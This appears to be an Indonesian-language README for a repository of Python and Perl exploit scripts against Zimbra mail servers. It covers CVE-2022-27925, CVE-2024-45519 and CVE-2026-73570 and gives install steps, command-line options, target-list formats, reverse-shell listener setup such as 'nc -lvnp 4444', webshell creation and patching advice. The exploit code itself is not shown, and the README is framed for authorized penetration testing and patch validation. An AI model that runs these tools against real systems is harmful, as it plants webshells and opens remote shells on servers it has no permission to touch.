Kumpulan skrip Python untuk pengujian keamanan terotorisasi terhadap instalasi Zimbra Collaboration Suite yang terdampak oleh kerentanan berikut:
- CVE-2022-27925: path traversal yang dapat berujung pada remote code execution melalui layanan
mboximport. - CVE-2024-45519: injeksi perintah pada layanan Postjournal melalui SMTP yang dapat digunakan untuk memperoleh reverse shell.
Proyek ini ditujukan untuk kegiatan riset keamanan, validasi patch, dan penetration test dengan izin tertulis dari pemilik sistem.
Skrip di dalam repositori ini bersifat ofensif dan dapat menulis file pada target atau menjalankan perintah melalui reverse shell. Jangan menggunakannya terhadap sistem, domain, alamat IP, atau akun yang tidak Anda miliki atau tidak secara eksplisit Anda diizinkan untuk uji.
Penulis tidak bertanggung jawab atas kerusakan, kehilangan data, gangguan layanan, atau konsekuensi hukum akibat penggunaan yang tidak sah. Lakukan pengujian pada lingkungan lab atau maintenance window, siapkan backup, dan dokumentasikan ruang lingkup pengujian terlebih dahulu.
.
├── CVE-2022-27925/
│ └── CVE-2022-27925.py
├── CVE-2024-45519/
│ ├── CVE-2024-45519.py
│ └── requirements.txt
├── .gitignore
└── README.md
- Linux atau sistem operasi yang kompatibel dengan Python 3.
- Python 3.8 atau lebih baru.
- Akses jaringan ke target yang memang termasuk dalam scope pengujian.
- Untuk CVE-2024-45519, port listener reverse shell harus dapat dijangkau dari target.
- Hak akses yang cukup untuk memasang dependensi dan membuka port listener lokal.
Disarankan menggunakan virtual environment agar dependensi proyek tidak mengubah instalasi Python sistem.
git clone https://github.com/gagaltotal/zimbra-cve
cd zimbra-cve
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r CVE-2024-45519/requirements.txtSkrip CVE-2022-27925 memerlukan requests. Jika belum tersedia di environment yang digunakan:
python -m pip install requestsDependensi CVE-2024-45519 tercantum di CVE-2024-45519/requirements.txt: Faker, pwntools, pwncat-vl, dan rich_click.
Masuk ke direktori skrip, lalu jalankan pengujian terhadap satu URL:
cd CVE-2022-27925
python3 CVE-2022-27925.py --target https://target.example.comOpsi yang tersedia:
| Opsi | Deskripsi |
|---|---|
-t, --target URL |
Menguji satu target URL. Jika skema tidak ditulis, skrip menggunakan https://. |
-l, --list FILE |
Membaca daftar target, satu URL per baris. Baris kosong dan baris yang diawali # diabaikan. |
-v, --verbose |
Menampilkan informasi debugging tambahan. |
-h, --help |
Menampilkan bantuan penggunaan. |
Contoh pengujian daftar target:
printf '%s\n' 'https://mail.example.com' 'https://zimbra.example.net' > targets.txt
python3 CVE-2022-27925.py --list targets.txt --verboseJika berhasil, skrip akan menguji webshell yang dibuat dan menampilkan lokasinya. Pada pengujian satu target, skrip juga menawarkan sesi interaktif melalui webshell.
Skrip ini menghubungi layanan SMTP target dan menjalankan listener reverse shell lokal.
cd CVE-2024-45519
python3 CVE-2024-45519.py target.example.comOpsi yang tersedia:
| Opsi | Default | Deskripsi |
|---|---|---|
TARGET |
wajib | Hostname atau alamat IP layanan SMTP target. |
-p, --port |
25 |
Port SMTP target. |
-lh, --lhost |
0.0.0.0 |
Alamat lokal tempat listener menerima koneksi. Gunakan alamat interface yang dapat dijangkau target bila diperlukan. |
-lp, --lport |
4444 |
Port listener reverse shell. |
-v, --verbose |
nonaktif | Mengaktifkan output debugging. |
--help-full |
- | Menampilkan bantuan lengkap, contoh, dan catatan. |
Contoh dengan port SMTP dan listener khusus:
python3 CVE-2024-45519.py target.example.com --port 25 --lhost 10.10.10.5 --lport 5555 --verbosePastikan port listener tidak sedang digunakan dan firewall mengizinkan koneksi masuk dari target. Sesi yang diterima dikelola oleh pwncat.
File target untuk CVE-2022-27925 menggunakan satu target per baris. Komentar dapat ditulis dengan awalan #.
# Sistem staging yang telah disetujui
https://zimbra-staging.example.com
mail.example.net
File seperti targets.txt, hasil output, dan log lokal sebaiknya tidak di-commit ke repositori.
Validasi sintaks Python dapat dilakukan tanpa menghubungi target:
python3 -m py_compile \
CVE-2022-27925/CVE-2022-27925.py \
CVE-2024-45519/CVE-2024-45519.pyPerintah bantuan juga dapat digunakan untuk memeriksa instalasi dan opsi CLI:
python3 CVE-2022-27925/CVE-2022-27925.py --help
python3 CVE-2024-45519/CVE-2024-45519.py --help-fullPerintah tersebut hanya menampilkan bantuan. Jangan menjalankan skrip eksploitasi terhadap target sebelum scope dan izin pengujian dipastikan.
- Terapkan patch resmi Zimbra untuk CVE yang relevan.
- Batasi akses ke panel administrasi dan layanan SMTP dari jaringan yang tidak dipercaya.
- Pantau log HTTP, SMTP, dan proses pada host Zimbra untuk aktivitas tidak biasa.
- Uji ulang setelah patch diterapkan menggunakan prosedur keamanan organisasi.
Folder CVE-2026-73570 berisi skrip Perl untuk validasi keamanan terotorisasi terhadap kerentanan injeksi perintah pada notifikasi SNMP Zimbra melalui layanan SMTP. Skrip mendukung pengujian satu target atau daftar target, koneksi SMTP dengan STARTTLS atau TLS langsung, listener reverse shell, output verbose, dan penyimpanan log sesi.
Struktur folder:
CVE-2026-73570/
└── CVE-2026-73570.pl
Skrip memerlukan Perl beserta modul IO::Socket::INET, IO::Socket::SSL, MIME::Base64, Digest::HMAC_MD5, dan modul standar lain yang digunakan oleh skrip.
Contoh penggunaan terhadap satu target:
cd CVE-2026-73570
perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444Contoh penggunaan dengan daftar target:
perl CVE-2026-73570.pl -f targets.txt -r 10.10.10.1 -R 4444Daftar target mendukung hostname atau alamat IP dengan port opsional, satu target per baris. Port default adalah 587; gunakan -p untuk menggantinya. Listener penerima harus dijalankan pada mesin penguji, misalnya:
nc -lvnp 4444Gunakan opsi -S untuk TLS langsung, -v untuk detail komunikasi SMTP, -L FILE untuk menyimpan log, dan -h untuk melihat seluruh opsi. Terapkan patch resmi Zimbra sebelum melakukan validasi dan pastikan setiap target serta alamat listener berada dalam scope pengujian.
Repositori ini belum menyertakan berkas lisensi. Penggunaan dan redistribusi kode mengikuti ketentuan dari pemilik repositori serta hukum yang berlaku.


